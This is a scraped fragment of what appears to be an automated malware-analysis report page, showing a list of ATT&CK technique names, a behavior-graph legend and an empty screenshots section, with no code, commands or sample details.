Obfuscated Files or Information		DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.